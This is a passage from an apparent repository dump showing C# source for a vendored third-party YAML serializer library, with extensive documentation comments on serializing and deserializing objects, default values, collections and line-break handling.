array.Properties[\"expectedTag\"] = TypeNameToYamlTag(access.Type);\n                    mapping.Add(MapKey(entry.Key), array);\n                } else {\n                    try {\n                        var value = ObjectToNode(access.Get(obj), access.Type);\n                        if( (access.SerializeMethod != YamlSerializeMethod.Content) ||\n                            !(value is YamlMapping) || ((YamlMapping)value).Count>0 )\n                        mapping.Add(MapKey(entry.Key), value);\n                    } catch {\n                    }\n                }\n            }\n            // if the object is IDictionary or IDictionary<,>\n            if ( accessor.IsDictionary && !accessor.IsReadOnly(obj) ) {\n                var dictionary = DictionaryToMap(obj);\n                if ( dictionary.Count > 0 )\n                    mapping.Add(MapKey(\"IDictionary.Entries\"), dictionary);\n            } else {\n                // if the object is ICollection<> or IList\n                if ( accessor.CollectionAdd != null && !accessor.IsReadOnly(obj)) {\n                    var iter = ( (IEnumerable)obj ).GetEnumerator();\n                    if ( iter.MoveNext() ) { // Count > 0\n                        iter.Reset();\n                        mapping.Add(MapKey(\"ICollection.Items\"), CreateSequence(\"!!seq\", iter, accessor.ValueType));\n                    }\n                }\n            }\n            return mapping;\n        }\n\n        private YamlMapping DictionaryToMap(object obj)\n        {\n            var accessor = ObjectMemberAccessor.FindFor(obj.GetType());\n            var iter = ( (IEnumerable)obj ).GetEnumerator();\n            var dictionary = map();\n            Func<object, object> key = null, value = null;\n            while ( iter.MoveNext() ) {\n                if ( key == null ) {\n                    var keyvalue = iter.Current.GetType();\n                    var keyprop = keyvalue.GetProperty(\"Key\");\n                    var valueprop = keyvalue.GetProperty(\"Value\");\n                    key = o => keyprop.GetValue(o, new object[0]);\n                    value = o => valueprop.GetValue(o, new object[0]);\n                }\n                dictionary.Add(\n                    ObjectToNode(key(iter.Current), accessor.KeyType),\n                    ObjectToNode(value(iter.Current), accessor.ValueType)\n                    );\n            }\n            return dictionary;\n        }\n\n        public YamlSequence CreateSequence(string tag, IEnumerator iter, Type expect)\n        {\n            var sequence = seq();\n            sequence.Tag = tag;\n            if ( expect != null && ( expect.IsPrimitive || expect.IsEnum || expect == typeof(decimal) ) )\n                sequence.Properties[\"Compact\"] = \"true\";\n\n            while ( iter.MoveNext() )\n                sequence.Add(ObjectToNode(iter.Current, expect));\n            return sequence;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.ComponentModel;\nusing System.Collections;\nusing System.Text.RegularExpressions;\nusing System.Diagnostics;\n\nusing System.IO;\n\nnamespace System.Yaml.Serialization\n{                   \n    /// <summary>\n    /// <para><see cref=\"YamlSerializer\"/> class has instance methods <see cref=\"Serialize(object)\"/> and <see cref=\"Deserialize(string,Type[])\"/>, \n    /// with which C# native objects can be converted into / from YAML text without any preparations.</para>\n    /// <code>\n    /// var serializer = new YamlSerializer();\n    /// object obj = GetObjectToSerialize();\n    /// string yaml = serializer.Serialize(obj);\n    /// object restored = serializer.Deserialize(yaml);\n    /// Assert.AreEqual(obj, restored);\n    /// </code>\n    /// </summary>\n    /// \n    /// <remarks>\n    /// <h3>What kind of objects can be serialized?</h3>\n    /// \n    /// <para><see cref=\"YamlSerializer\"/> can serialize / deserialize native C# objects of primitive types \n    /// (bool, char, int,...), enums, built-in non-primitive types (string, decimal), structures, \n    /// classes and arrays of these types. </para>\n    /// \n    /// <para>\n    /// On the other hand, it does not deal with IntPtr (which is a primitive type, though) and \n    /// pointer types (void*, int*, ...) because these types are, by their nature, not persistent.\n    /// </para>\n    /// \n    /// <para>\n    /// Classes without a default constructor can be deserialized only when the way of activating an instance \n    /// is explicitly specified by <see cref=\"YamlConfig.AddActivator\"/>.\n    /// </para>\n    /// \n    /// <para><code>\n    /// object obj = new object[]{ \n    ///     null,\n    ///     \"abc\", \n    ///     true, \n    ///     1, \n    ///     (Byte)1,\n    ///     1.0, \n    ///     \"1\",\n    ///     new double[]{ 1.1, 2, -3 },\n    ///     new string[]{ \"def\", \"ghi\", \"1\" },\n    ///     new System.Drawing.Point(1,3), \n    ///     new System.Drawing.SolidBrush(Color.Blue)\n    /// };\n    /// \n    /// var serializer = new YamlSerializer();\n    /// string yaml = serializer.Serialize(obj);\n    /// // %YAML 1.2\n    /// // ---\n    /// // - null\n    /// // - abc\n    /// // - True\n    /// // - 1\n    /// // - !System.Byte 1\n    /// // - !!float 1\n    /// // - \"1\"\n    /// // - !&lt;!System.Double[]%gt; [1.1, 2, -3]\n    /// // - !&lt;!System.String[]%gt;\n    /// //   - def\n    /// //   - ghi\n    /// // - !System.Drawing.Point 1, 3\n    /// // - !System.Drawing.SolidBrush\n    /// //   Color: Blue\n    /// // ...\n    /// \n    /// object restored;\n    /// try {\n    ///     restored = YamlSerializer.Deserialize(yaml)[0];\n    /// } catch(MissingMethodException) {\n    ///     // default constructor is missing for SolidBrush\n    /// }\n    ///  \n    /// // Let the library know how to activate an instance of SolidBrush.\n    /// YamlNode.DefaultConfig.AddActivator&lt;System.Drawing.SolidBrush&gt;(\n    ///     () => new System.Drawing.SolidBrush(Color.Black /* dummy */));\n    /// \n    /// // Then, all the objects can be restored correctly.\n    /// restored = serializer.Deserialize(yaml)[0];\n    /// </code></para>\n    /// \n    /// <para>A YAML document generated by <see cref=\"YamlSerializer\"/> always have a %YAML directive and\n    /// explicit document start (<c>\"---\"</c>) and end (<c>\"...\"</c>) marks. \n    /// This allows several documents to be written in a single YAML stream.</para>\n    /// \n    /// <code>\n    ///  var yaml = \"\";\n    ///  var serializer = new YamlSerializer();\n    ///  yaml += serializer.Serialize(\"a\");\n    ///  yaml += serializer.Serialize(1);\n    ///  yaml += serializer.Serialize(1.1);\n    ///  // %YAML 1.2\n    ///  // ---\n    ///  // a\n    ///  // ...\n    ///  // %YAML 1.2\n    ///  // ---\n    ///  // 1\n    ///  // ...\n    ///  // %YAML 1.2\n    ///  // ---\n    ///  // 1.1\n    ///  // ...\n    /// \n    ///  object[] objects = serializer.Deserialize(yaml);\n    ///  // objects[0] == \"a\"\n    ///  // objects[1] == 1\n    ///  // objects[2] == 1.1\n    /// </code>\n    /// \n    /// <para>Since a YAML stream can consist of multiple YAML documents as above,\n    /// <see cref=\"Deserialize(string, Type[])\"/> returns an array of <see cref=\"object\"/>.\n    /// </para>\n    /// \n    /// <h3>Serializing structures and classes</h3>\n    /// \n    /// <para>For structures and classes, by default, all public fields and public properties are \n    /// serialized. Note that protected / private members are always ignored.</para>\n    /// \n    /// <h4>Serialization methods</h4>\n    /// \n    /// <para>Readonly value-type members are also ignored because there is no way to \n    /// assign a new value to them on deserialization, while readonly class-type members \n    /// are serialized. When deserializing, instead of creating a new object and assigning it \n    /// to the member, the child members of such class instance are restored independently. \n    /// Such a deserializing method is refered to <see cref=\"YamlSerializeMethod.Content\">\n    /// YamlSerializeMethod.Content</see>. \n    /// </para>\n    /// <para>\n    /// On the other hand, when writeable fields/properties are deserialized, new objects are \n    /// created by using the parameters in the YAML description and assiend to the fields/properties. \n    /// Such a deserializing method is refered to <see cref=\"YamlSerializeMethod.Assign\">\n    /// YamlSerializeMethod.Assign</see>. Writeable properties can be explicitly specified to use \n    /// <see cref=\"YamlSerializeMethod.Content\"> YamlSerializeMethod.Content</see> method for \n    /// deserialization, by adding <see cref=\"YamlSerializeAttribute\"/> to its definition.\n    /// </para>\n    /// \n    /// <para>Another type of serializing method is <see cref=\"YamlSerializeMethod.Binary\">\n    /// YamlSerializeMethod.Binary</see>. \n    /// This method is only applicable to an array-type field / property that contains\n    /// only value-type members.</para>\n    /// \n    /// <para>If serializing method <see cref=\"YamlSerializeMethod.Never\"/> is specified,\n    /// the member is never serialized nor deserialized.</para>\n    /// \n    /// <code>\n    /// public class Test1\n    /// {\n    ///     public int PublicProp { get; set; }         // processed (by assign)\n    ///     protected int ProtectedProp { get; set; }           // Ignored\n    ///     private int PrivateProp { get; set; }               // Ignored\n    ///     internal int InternalProp { get; set; }             // Ignored\n    /// \n    ///     public int PublicField;                     // processed (by assign)\n    ///     protected int ProtectedField;                       // Ignored\n    ///     private int PrivateField;                           // Ignored\n    ///     internal int InternalField;                         // Ignored\n    /// \n    ///     public List&lt;string&gt; ClassPropByAssign // processed (by assign)\n    ///     { get; set; }\n    ///     \n    ///     public int ReadOnlyValueProp { get; private set; }  // Ignored\n    ///     public List&lt;string&gt; ReadOnlyClassProp // processed (by content)\n    ///     { get; private set; }\n    /// \n    ///     [YamlSerialize(YamlSerializeMethod.Content)]\n    ///     public List&lt;string&gt; ClassPropByContent// processed (by content)\n    ///     { get; set; }\n    ///\n    ///     public int[] IntArrayField =                // processed (by assign)\n    ///        new int[10];\n    ///\n    ///     [YamlSerialize(YamlSerializeMethod.Binary)]\n    ///     public int[] IntArrayFieldBinary =          // processed (as binary)\n    ///        new int[100];\n    ///\n    ///     [YamlSerialize(YamlSerializeMethod.Never)]\n    ///     public int PublicPropHidden;                        // Ignored\n    ///\n    ///     public Test1()\n    ///     {\n    ///         ClassPropByAssign = new List&lt;string&gt;();\n    ///         ReadOnlyClassProp = new List&lt;string&gt;();\n    ///         ClassPropByContent = new List&lt;string&gt;();\n    ///     }\n    /// }\n    /// \n    /// public void TestPropertiesAndFields1()\n    /// {\n    ///    var test1 = new Test1();\n    ///    test1.ClassPropByAssign.Add(\"abc\");\n    ///    test1.ReadOnlyClassProp.Add(\"def\");\n    ///    test1.ClassPropByContent.Add(\"ghi\");\n    ///    var rand = new Random(0);\n    ///    for ( int i = 0; i &lt; test1.IntArrayFieldBinary.Length; i++ )\n    ///        test1.IntArrayFieldBinary[i] = rand.Next();\n    /// \n    ///    var serializer = new YamlSerializer();\n    ///    string yaml = serializer.Serialize(test1);\n    ///    // %YAML 1.2\n    ///    // ---\n    ///    // !YamlSerializerTest.Test1\n    ///    // PublicProp: 0\n    ///    // ClassPropByAssign: \n    ///    //   Capacity: 4\n    ///    //   ICollection.Items: \n    ///    //     - abc\n    ///    // ReadOnlyClassProp: \n    ///    //   Capacity: 4\n    ///    //   ICollection.Items: \n    ///    //     - def\n    ///    // ClassPropByContent: \n    ///    //   Capacity: 4\n    ///    //   ICollection.Items: \n    ///    //     - ghi\n    ///    // PublicField: 0\n    ///    // IntArrayField: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    ///    // IntArrayFieldBinary: |+2\n    ///    //   Gor1XAwenmhGkU5ib9NxR11LXxp1iYlH5LH4c9hImTitWSB9Z78II2UvXSXV99A79fj6UBn3GDzbIbd9\n    ///    //   yBDjAyslYm58iGd/NN+tVjuLRCg3cJBo+PWMbIWm9n4AEC0E7LKXWV5HXUNk7I13APEDWFMM/kWTz2EK\n    ///    //   s7LzFw2gBjpKugkmQJqIfinpQ1J1yqhhz/XjA3TBxDBsEuwrD+SNevQSqEC+/KRbwgE6D011ACMeyRt0\n    ///    //   BOG6ZesRKCtL0YU6tSnLEpgKVBz+R300qD3/W0aZVk+1vHU+auzyGCGUaHCGd6dpRoEhXoIg2m3+AwJX\n    ///    //   EJ37T+TA9BuEPJtyGoq+crQMFQtXj1Zriz3HFbReclLvDdVpZlcOHPga/3+3Y509EHZ7UyT7H1xGeJxn\n    ///    //   eXPrDDb0Ul04MfZb4UYREOfR3HNzNTUYGRsIPUvHOEW7AaoplIfkVQp19DvGBrBqlP2TZ9atlWUHVdth\n    ///    //   7lIBeIh0wiXxoOpCbQ7qVP9GkioQUrMkOcAJaad3exyZaOsXxznFCA==\n    ///    // ...\n    /// }\n    /// </code>\n    /// \n    /// <h4>Default values of fields and properties</h4>\n    /// \n    /// <para><see cref=\"YamlSerializer\"/> is aware of <see cref=\"System.ComponentModel.DefaultValueAttribute\">\n    /// System.ComponentModel.DefaultValueAttribute</see>.\n    /// So, when a member of a structure / class instance has a value that equals to the default value, \n    /// the member will not be written in the YAML text.</para>\n    /// \n    /// <para>It also checkes for the result of ShouldSerializeXXX method. For instance, just before serializing <c>Font</c>\n    /// property of some type, <c>bool ShouldSerializeFont()</c> method is called if exists. If the method returns false, \n    /// <c>Font</c> property will not be written in the YAML text. ShouldSerializeXXX method can be non-public.</para>\n    /// \n    /// <code>\n    /// using System.ComponentModel;\n    /// \n    /// public class Test2\n    /// {\n    ///     [DefaultValue(0)]\n    ///     public int Default0 = 0;\n    /// \n    ///     [DefaultValue(\"a\")]\n    ///     public string Defaulta = \"a\";\n    /// \n    ///     public int DynamicDefault = 0;\n    /// \n    ///     bool ShouldSerializeDynamicDefault()\n    ///     {\n    ///         return Default0 != DynamicDefault;\n    ///     }\n    /// }\n    /// \n    /// public void TestDefaultValue()\n    /// {\n    ///     var test2 = new Test2();\n    ///     var serializer = new YamlSerializer();\n    ///     \n    ///     // All properties have defalut values.\n    ///     var yaml = serializer.Serialize(test2);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // !YamlSerializerTest.Test2 {}\n    ///     // ...\n    /// \n    ///     test2.Defaulta = \"b\";\n    ///     yaml = serializer.Serialize(test2);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // !YamlSerializerTest.Test2\n    ///     // Defaulta: b\n    ///     // ...\n    /// \n    ///     test2.Defaulta = \"a\";\n    ///     var yaml = serializer.Serialize(test2);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // !YamlSerializerTest.Test2 {}\n    ///     // ...\n    /// \n    ///     test2.DynamicDefault = 1;\n    ///     yaml = serializer.Serialize(test2);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // !YamlSerializerTest.Test2\n    ///     // DynamicDefault: 1\n    ///     // ...\n    /// \n    ///     test2.Default0 = 1;\n    ///     yaml = serializer.Serialize(test2);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // !YamlSerializerTest.Test2\n    ///     // Default0: 1\n    ///     // ...\n    /// }\n    /// </code>\n    /// \n    /// <h4>Collection classes</h4>\n    /// \n    /// <para>If an object implements <see cref=\"ICollection&lt;T&gt;\"/>, <see cref=\"IList\"/> or <see cref=\"IDictionary\"/>\n    /// the child objects are serialized as well its other public members. \n    /// Pseudproperty <c>ICollection.Items</c> or <c>IDictionary.Entries</c> appears to hold the child objects.</para>\n    /// \n    /// <h3>Multitime appearance of a same object</h3>\n    /// \n    /// <para><see cref=\"YamlSerializer\"/> preserve C# objects' graph structure. Namely, when a same objects are refered to\n    /// from several points in the object graph, the structure is correctly described in YAML text and restored objects\n    /// preserve the structure. <see cref=\"YamlSerializer\"/> can safely manipulate directly / indirectly self refering \n    /// objects, too.</para>\n    /// \n    /// <code>\n    /// public class TestClass\n    /// {\n    ///     public List&lt;TestClass&gt; list = \n    ///         new List&lt;TestClass&gt;();\n    /// }\n    /// \n    /// public class ChildClass: TestClass\n    /// {\n    /// }\n    /// \n    /// void RecursiveObjectsTest()\n    /// {\n    ///     var a = new TestClass();\n    ///     var b = new ChildClass();\n    ///     a.list.Add(a);\n    ///     a.list.Add(a);\n    ///     a.list.Add(b);\n    ///     a.list.Add(a);\n    ///     a.list.Add(b);\n    ///     b.list.Add(a);\n    ///     var serializer = new YamlSerializer();\n    ///     string yaml = serializer.Serialize(a);\n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // &amp;A !TestClass\n    ///     // list: \n    ///     //   Capacity: 8\n    ///     //   ICollection.Items: \n    ///     //     - *A\n    ///     //     - *A\n    ///     //     - &amp;B !ChildClass\n    ///     //       list: \n    ///     //         Capacity: 4\n    ///     //         ICollection.Items: \n    ///     //           - *A\n    ///     //     - *A\n    ///     //     - *B\n    ///     // ...\n    ///     \n    ///     var restored = (TestClass)serializer.Deserialize(yaml)[0];\n    ///     Assert.IsTrue(restored == restored.list[0]);\n    ///     Assert.IsTrue(restored == restored.list[1]);\n    ///     Assert.IsTrue(restored == restored.list[3]);\n    ///     Assert.IsTrue(restored == restored.list[5]);\n    ///     Assert.IsTrue(restored.list[2] == restored.list[4]);\n    /// }\n    /// </code>\n    /// \n    /// <para>This is not the case if the object is <see cref=\"string\"/>. Same instances of \n    /// <see cref=\"string\"/> are repeatedly written in a YAML text and restored as different \n    /// instance of <see cref=\"string\"/> when deserialized, unless the content of the string\n    /// is extremely long (longer than 999 chars).</para>\n    /// \n    /// <code>\n    ///  // 1000 chars\n    ///  string long_str =\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\" +\n    ///      \"0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789\";\n    ///  string short_str = \"12345\";\n    ///  object obj = new object[] { long_str, long_str, short_str, short_str };\n    ///  var serializer = new YamlSerializer();\n    ///  string yaml = serializer.Serialize(obj);\n    ///  // %YAML 1.2\n    ///  // ---\n    ///  // - &amp;A 01234567890123456789012345678901234567890123456789 ... (snip) ... 789\n    ///  // - *A\n    ///  // - \"12345\"\n    ///  // - \"12345\"\n    ///  // ...\n    /// </code>\n    /// \n    /// <h3>YAML text written / read by <see cref=\"YamlSerializer\"/></h3>\n    /// \n    /// <para>When serializing, <see cref=\"YamlSerializer\"/> intelligently uses various YAML 1.2 styles, \n    /// namely the block style, flow style, explicit mapping and implicit mapping, to maximize readability\n    /// of the YAML stream.</para>\n    /// \n    /// <code>\n    /// [Flags]\n    /// enum TestEnum: uint \n    /// { \n    ///     abc = 1, \n    ///     あいう = 2 \n    /// } \n    /// \n    /// public void TestVariousFormats()\n    /// {\n    ///     var dict = new Dictionary&lt;object, object&gt;();\n    ///     dict.Add(new object[] { 1, \"a\" }, new object());\n    ///     object obj = new object[]{\n    ///         dict,\n    ///         null,\n    ///         \"abc\",\n    ///         \"1\",\n    ///         \"a \",\n    ///         \"- a\",\n    ///         \"abc\\n\", \n    ///         \"abc\\ndef\\n\", \n    ///         \"abc\\ndef\\nghi\", \n    ///         new double[]{ 1.1, 2, -3, 3.12, 13.2 },\n    ///         new int[,] { { 1, 3}, {4, 5}, {10, 1} },\n    ///         new string[]{ \"jkl\", \"mno\\npqr\" },\n    ///         new System.Drawing.Point(1,3),\n    ///         TestEnum.abc,\n    ///         TestEnum.abc | TestEnum.あいう,\n    ///     };\n    ///     var config = new YamlConfig();\n    ///     config.ExplicitlyPreserveLineBreaks = false;\n    ///     var serializer = new YamlSerializer(config);\n    ///     string yaml = serializer.Serialize(obj);\n    ///     \n    ///     // %YAML 1.2\n    ///     // ---\n    ///     // - !&lt;!System.Collections.Generic.Dictionary%602[[System.Object,...],[System.Object,...]]&gt;\n    ///     //   Keys: {}\n    ///     //   Values: {}\n    ///     //   IDictionary.Entries: \n    ///     //     ? - 1\n    ///     //       - a\n    ///     //     : !System.Object {}\n    ///     // - null\n    ///     // - abc\n    ///     // - \"1\"\n    ///     // - \"a \"\n    ///     // - \"- a\"\n    ///     // - \"abc\\n\"\n    ///     // - |+2\n    ///     //   abc\n    ///     //   def\n    ///     // - |-2\n    ///     //   abc\n    ///     //   def\n    ///     //     ghi\n    ///     // - !&lt;!System.Double[]&gt; [1.1, 2, -3, 3.12, 13.2]\n    ///     // - !&lt;!System.Int32[,]&gt; [[1, 3], [4, 5], [10, 1]]\n    ///     // - !&lt;!System.String[]&gt;\n    ///     //   - jkl\n    ///     //   - |-2\n    ///     //     mno\n    ///     //     pqr\n    ///     // - !System.Drawing.Point 1, 3\n    ///     // - !TestEnum abc\n    ///     // - !TestEnum abc, あいう\n    ///     // ...\n    /// }\n    /// </code>\n    /// \n    /// <para>When deserializing, <see cref=\"YamlSerializer\"/> accepts any valid YAML 1.2 documents.\n    /// TAG directives, comments, flow / block styles, implicit / explicit mappings can be freely used\n    /// to express valid C# objects. Namely, the members of the array can be given eighter in a flow style\n    /// or in a block style.\n    /// </para>\n    /// \n    /// <para>By default, <see cref=\"YamlSerializer\"/> outputs a YAML stream with line break of \"\\r\\n\".\n    /// This can be customized either by setting <c>YamlNode.DefaultConfig.LineBreakForOutput</c> or \n    /// by giving an instance of <see cref=\"YamlConfig\"/> to the <see cref=\"YamlSerializer(YamlConfig)\">\n    /// constructor</see>.\n    /// </para>\n    /// \n    /// <code>\n    /// var serializer = new YamlSerializer();\n    /// var yaml = serializer.Serialize(\"abc\");\n    /// // %YAML 1.2\\r\\n    // line breaks are explicitly shown in this example\n    /// // ---\\r\\n\n    /// // abc\\r\\n\n    /// // ...\\r\\n\n    /// \n    /// var config = new YamlConfig();\n    /// config.LineBreakForOutput = \"\\n\";\n    /// serializer = new YamlSerializer(config);\n    /// var yaml = serializer.Serialize(\"abc\");\n    /// // %YAML 1.2\\n\n    /// // ---\\n\n    /// // abc\\n\n    /// // ...\\n\n    /// \n    /// YamlNode.DefaultConfig.LineBreakForOutput = \"\\n\";\n    /// \n    /// var serializer = new YamlSerializer();\n    /// serializer = new YamlSerializer();\n    /// var yaml = serializer.Serialize(\"abc\");\n    /// // %YAML 1.2\\n\n    /// // ---\\n\n    /// // abc\\n\n    /// // ...\\n\n    /// </code>\n    /// \n    /// <h4>Line breaks in YAML text</h4>\n    /// \n    /// <para>By default, line breaks in multi line values are explicitly presented as escaped style. \n    /// Although, this makes the resulting YAML stream hard to read, it is necessary to preserve\n    /// the exact content of the string because the YAML specification requires that a YAML parser \n    /// must normalize evely line break that is not escaped in a YAML document to be a single line \n    /// feed \"\\n\" when deserializing.</para>\n    /// \n    /// <para>In order to have the YAML documents easy to be read, set \n    /// <see cref=\"YamlConfig.ExplicitlyPreserveLineBreaks\">YamlConfig.ExplicitlyPreserveLineBreaks\n    /// </see> false. Then, the multiline values of will be written in literal style.</para> \n    /// \n    /// <para>Of course, it makes all the line breaks to be normalized into a single line feeds \"\\n\".</para>\n    /// \n    /// <code>\n    /// var serializer = new YamlSerializer();\n    /// var text = \"abc\\r\\n  def\\r\\nghi\\r\\n\";\n    /// // abc\n    /// //   def\n    /// // ghi\n    /// \n    /// // By default, line breaks explicitly appears in escaped form.\n    /// var yaml = serializer.Serialize(text);\n    /// // %YAML 1.2\n    /// // ---\n    /// // \"abc\\r\\n\\\n    /// // \\  def\\r\\n\\\n    /// // ghi\\r\\n\"\n    /// // ...\n    /// \n    /// // Original line breaks are preserved\n    /// var restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\r\\n  def\\r\\nghi\\r\\n\"\n    ///\n    /// \n    /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n    /// \n    /// // Literal style is easier to be read.\n    /// var yaml = serializer.Serialize(text);\n    /// // %YAML 1.2\n    /// // ---\n    /// // |+2\n    /// //   abc\n    /// //     def\n    /// //   ghi\n    /// // ...\n    /// \n    /// // Original line breaks are lost.\n    /// var restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\n  def\\nghi\\n\"\n    /// </code>\n    /// \n    /// <para>This library offers two work arounds for this problem, although both of which\n    /// violates the official behavior of a YAML parser defined in the YAML specification.</para>\n    /// \n    /// <para>One is to set <see cref=\"YamlConfig.LineBreakForInput\">YamlConfig.LineBreakForInput</see> \n    /// to be \"\\r\\n\". Then, the YAML parser normalizes all line breaks into \"\\r\\n\" instead of \"\\n\".</para>\n    ///\n    /// <para>The other is to set <see cref=\"YamlConfig.NormalizeLineBreaks\">YamlConfig.NormalizeLineBreaks</see> \n    /// false. It disables the line break normalization both at output and at input. Namely, the line breaks are \n    /// written and read as-is when serialized / deserialized.</para>\n    /// \n    /// <code>\n    /// var serializer = new YamlSerializer();\n    /// \n    /// // text with mixed line breaks\n    /// var text = \"abc\\r  def\\nghi\\r\\n\"; \n    /// // abc\\r        // line breaks are explicitly shown in this example\n    /// //   def\\n\n    /// // ghi\\r\\n\n    /// \n    /// YamlNode.DefaultConfig.ExplicitlyPreserveLineBreaks = false;\n    /// \n    /// // By default, all line breaks are normalized to \"\\r\\n\" when serialized.\n    /// var yaml = serializer.Serialize(text);\n    /// // %YAML 1.2\\r\\n\n    /// // ---\\r\\n\n    /// // |+2\\r\\n\n    /// //   abc\\r\\n\n    /// //     def\\r\\n\n    /// //   ghi\\r\\n\n    /// // ...\\r\\n\n    /// \n    /// // When deserialized, line breaks are normalized into \"\\n\".\n    /// var restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\n  def\\nghi\\n\"\n    /// \n    /// // Line breaks are normalized into \"\\r\\n\" instead of \"\\n\".\n    /// YamlNode.DefaultConfig.LineBreakForInput = \"\\r\\n\";\n    /// restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\r\\n  def\\r\\nghi\\r\\n\"\n    /// \n    /// // Line breaks are written as is,\n    /// YamlNode.DefaultConfig.NormalizeLineBreaks = false;\n    /// var yaml = serializer.Serialize(text);\n    /// // %YAML 1.2\\r\\n\n    /// // ---\\r\\n\n    /// // |+2\\r\\n\n    /// //   abc\\r\n    /// //     def\\n\n    /// //   ghi\\r\\n\n    /// // ...\\r\\n\n    /// \n    /// // and are read as is.\n    /// restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\r  def\\nghi\\r\\n\"\n    /// \n    /// // Note that when the line breaks of YAML stream is changed \n    /// // between serialization and deserialization, the original\n    /// // line breaks are lost.\n    /// yaml = yaml.Replace(\"\\r\\n\", \"\\n\").Replace(\"\\r\", \"\\n\");\n    /// restored = (string)serializer.Deserialize(yaml)[0];\n    /// // \"abc\\n  def\\nghi\\n\"\n    /// </code>\n    /// \n    /// <para>It is repeatedly stated that although these two options are useful in many situation,\n    /// they makes the YAML parser violate the YAML specification. </para>\n    /// \n    /// </remarks>\n    public class YamlSerializer\n    {\n        static YamlRepresenter representer = new YamlRepresenter();\n        static YamlConstructor constructor = new YamlConstructor();\n\n        YamlConfig config = null;\n\n        /// <summary>\n        /// Initialize an instance of <see cref=\"YamlSerializer\"/> that obeys\n        /// <see cref=\"YamlNode.DefaultConfig\"/>.\n        /// </summary>\n        public YamlSerializer()\n        { }\n\n        /// <summary>\n        /// Initialize an instance of <see cref=\"YamlSerializer\"/> with custom <paramref name=\"config\"/>.\n        /// </summary>\n        /// <param name=\"config\">Custom <see cref=\"YamlConfig\"/> to customize serialization.</param>\n        public YamlSerializer(YamlConfig config)\n        {\n            this.config = config;\n        }\n\n        /// <summary>\n        /// Serialize C# object <paramref name=\"obj\"/> into YAML text.\n        /// </summary>\n        /// <param name=\"obj\">Object to be serialized.</param>\n        /// <returns>YAML text.</returns>\n        public string Serialize(object obj)\n        {\n            var c = config != null ? config : YamlNode.DefaultConfig;\n            var node = representer.ObjectToNode(obj, c);\n            return node.ToYaml(c);\n        }\n        /// <summary>\n        /// Serialize C# object <paramref name=\"obj\"/> into YAML text and write it into a <see cref=\"Stream\"/> <paramref name=\"s\"/>.\n        /// </summary>\n        /// <param name=\"s\">A <see cref=\"Stream\"/> to which the YAML text is written.</param>\n        /// <param name=\"obj\">Object to be serialized.</param>\n        public void Serialize(Stream s, object obj)\n        {\n            var c = config != null ? config : YamlNode.DefaultConfig;\n            var node = representer.ObjectToNode(obj, c);\n            node.ToYaml(s, c);\n        }\n        /// <summary>\n        /// Serialize C# object <paramref name=\"obj\"/> into YAML text and write it into a <see cref=\"TextWriter\"/> <paramref name=\"tw\"/>.\n        /// </summary>\n        /// <param name=\"tw\">A <see cref=\"TextWriter\"/> to which the YAML text is written.</param>\n        /// <param name=\"obj\">Object to be serialized.</param>\n        public void Serialize(TextWriter tw, object obj)\n        {\n            var c = config != null ? config : YamlNode.DefaultConfig;\n            var node = representer.ObjectToNode(obj, c);\n            node.ToYaml(tw, c);\n        }\n        /// <summary>\n        /// Serialize C# object <paramref name=\"obj\"/> into YAML text and save it into a file named as <paramref name=\"YamlFileName\"/>.\n        /// </summary>\n        /// <param name=\"YamlFileName\">A file name to which the YAML text is written.</param>\n        /// <param name=\"obj\">Object to be serialized.</param>\n        public void SerializeToFile(string YamlFileName, object obj)\n        {\n            using ( var s = new FileStream(YamlFileName, FileMode.Create, FileAccess.Write) )\n                Serialize(s, obj);\n        }\n\n        /// <summary>\n        /// Deserialize C# object(s) from a YAML text. Since a YAML text can contain multiple YAML documents, each of which \n        /// represents a C# object, the result is returned as an array of <see cref=\"object\"/>.\n        /// </summary>\n        /// <param name=\"yaml\">A YAML text from which C# objects are deserialized.</param>\n        /// <param name=\"types\">Expected type(s) of the root object(s) in the YAML stream.</param>\n        /// <returns>C# object(s) deserialized from YAML text.</returns>\n        public object[] Deserialize(string yaml, params Type[] types)\n        {\n            var c = config != null ? config : YamlNode.DefaultConfig;\n\n            var parser = new YamlParser();\n            var nodes = parser.Parse(yaml, c);\n            var objects = new List<object>();\n            for ( int i = 0; i < nodes.Count; i++ ) {\n                var node = nodes[i];\n                if ( i < types.Length ) {\n                    objects.Add(constructor.NodeToObject(node, types[i], c));\n                } else {\n                    objects.Add(constructor.NodeToObject(node, null, c));\n                }\n            }\n            return objects.ToArray();\n        }\n        /// <summary>\n        /// Deserialize C# object(s) from a YAML text in a <see cref=\"Stream\"/> <paramref name=\"s\"/>. \n        /// Since a YAML text can contain multiple YAML documents, each of which \n        /// represents a C# object, the result is returned as an array of <see cref=\"object\"/>.\n        /// </summary>\n        /// <param name=\"s\">A <see cref=\"Stream\"/> that contains YAML text from which C# objects are deserialized.</param>\n        /// <param 